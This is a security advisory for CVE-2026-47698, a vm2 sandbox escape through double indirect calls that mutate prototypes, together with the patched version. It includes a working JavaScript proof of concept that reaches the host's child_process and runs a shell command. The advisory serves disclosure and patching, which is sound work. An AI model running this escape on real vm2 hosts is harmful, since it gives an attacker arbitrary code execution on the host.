CVE-2026-47698: vm2 Sandbox Breakout via Indirect Call Proto Mutation
A bypass of a previous vm2 sandbox fix lets attackers run arbitrary commands on the host by using a double indirect call pattern to mutate host object prototypes, escaping the sandbox entirely.

The problem
vm2 versions up to and including 3.11.5 are vulnerable to a sandbox escape that leads to full remote code execution on the host.
The root cause is a bypass of the fix for GHSA-v6mx-mf47-r5wg. That fix blocked direct dangerous proto mutator calls, but the check did not cover the double-indirection form indirectcall.call(indirectcall, dangerousmutator, ...). An attacker-controlled script inside the VM can exploit this to reach the host Function constructor and execute arbitrary shell commands.
Proof of concept
A working proof-of-concept for CVE-2026-47698 in vm2, with the exact payload below.
const {VM} = require(".");
const vm = new VM();
console.log(vm.run(`
const getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, "__proto__");
const setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, "__proto__");
async function f() {
try {
await WebAssembly.compileStreaming();
} catch(e) {
Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null);
}
try {
await WebAssembly.compileStreaming();
} catch(e) {
e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
}
f();
`));The fix for GHSA-v6mx-mf47-r5wg identified calls to dangerous proto mutators (like __proto__ setter) and blocked them when invoked via indirectcall.call(dangerousmutator, ...). The bypass uses a double-indirect form: indirectcall.call(indirectcall, dangerousmutator, ...), where the first argument is itself an indirect call, causing the dangerous-mutator check to be skipped.
This lets the attacker use Buffer.call.call to invoke __lookupGetter__ and __lookupSetter__ on Buffer.__proto__, then set the prototype of a caught WebAssembly error object to null. On the second catch, the error's constructor chain now reaches the raw host Function constructor, enabling require('child_process') and arbitrary command execution.
CWE-913 (Improper Control of Dynamically-Managed Code Resources) applies directly.
The fix
Upgrade vm2 to version 3.11.6. The patch extends the dangerous-call detection to cover the double-indirect indirectcall.call(indirectcall, fn, ...) form so that proto mutators cannot be invoked through any level of indirect call indirection.
Related research
- highCVE-2026-47683CVE-2026-47683: vm2 bufferAllocLimit DoS Bypass via Buffer.concat and Buffer.from
- critical · 9.9CVE-2026-47686CVE-2026-47686: vm2 Missing Error.cause Sanitization Sandbox Escape to RCE
- critical · 10vm2: NodeVM builtin wildcard exposes os and dns host-process read/write primitives
- high · 7.5vm2 Memory Exhaustion DoS via ArrayBuffer bufferAllocLimit Bypass